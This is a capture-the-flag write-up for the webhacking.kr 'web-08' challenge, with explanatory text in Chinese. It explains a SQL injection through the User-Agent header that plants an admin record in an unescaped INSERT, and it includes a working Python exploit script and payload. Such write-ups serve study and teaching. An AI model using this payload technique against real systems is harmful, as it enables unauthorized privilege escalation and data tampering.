Challenge
The page records a User-Agent and later trusts the stored identity.
页面记录 User-Agent,随后信任数据库中保存的身份。
https://webhacking.kr/challenge/web-08/Analysis
源码用 getenv("HTTP_USER_AGENT") 得到 $agent,并把它直接拼进 INSERT:
insert into chall8(agent,ip,id) values('$agent','$ip','guest')查询阶段却对 $_SERVER['HTTP_USER_AGENT'] 使用 addslashes()。因此第一次请求可以利用未转义的 INSERT 创建 agent=hacked, id=admin 的记录;第二次请求只需使用同一个普通 hacked User-Agent,查询就会取到这条记录并满足 id == admin。
Solution
下面的脚本按顺序发送两次请求。第一条 User-Agent 以单引号结束第一条 values,再追加一条 admin 记录;第二条请求使用插入记录的 agent 值。requests 会保留 header 中的引号、逗号和括号。
#!/usr/bin/env python3import osimport sys
import requests
URL = os.environ.get( "OLD08_URL", "https://webhacking.kr/challenge/web-08/")INJECTION_USER_AGENT = "hacked','1','admin'),('hacked"NORMAL_USER_AGENT = "hacked"
def request_with_user_agent( session: requests.Session, user_agent: str) -> requests.Response: response = session.get( URL, headers={"User-Agent": user_agent}, timeout=10, ) response.raise_for_status() return response
def main() -> int: with requests.Session() as session: inserted = request_with_user_agent(session, INJECTION_USER_AGENT) print(inserted.text) result = request_with_user_agent(session, NORMAL_USER_AGENT) print(result.text) return 0
if __name__ == "__main__": sys.exit(main())拼接后的 INSERT 关键部分等价于:
INSERT INTO chall8(agent, ip, id)VALUES ('hacked', '1', 'admin'), ('hacked', '<request-ip>', 'guest')第二次请求必须使用 hacked,而不能再次发送注入字符串,因为查询阶段的 addslashes() 会改变带引号 payload 的含义。
插入行使用固定的 '1' 作为 IP,因此不依赖服务器为当前请求分配的来源地址。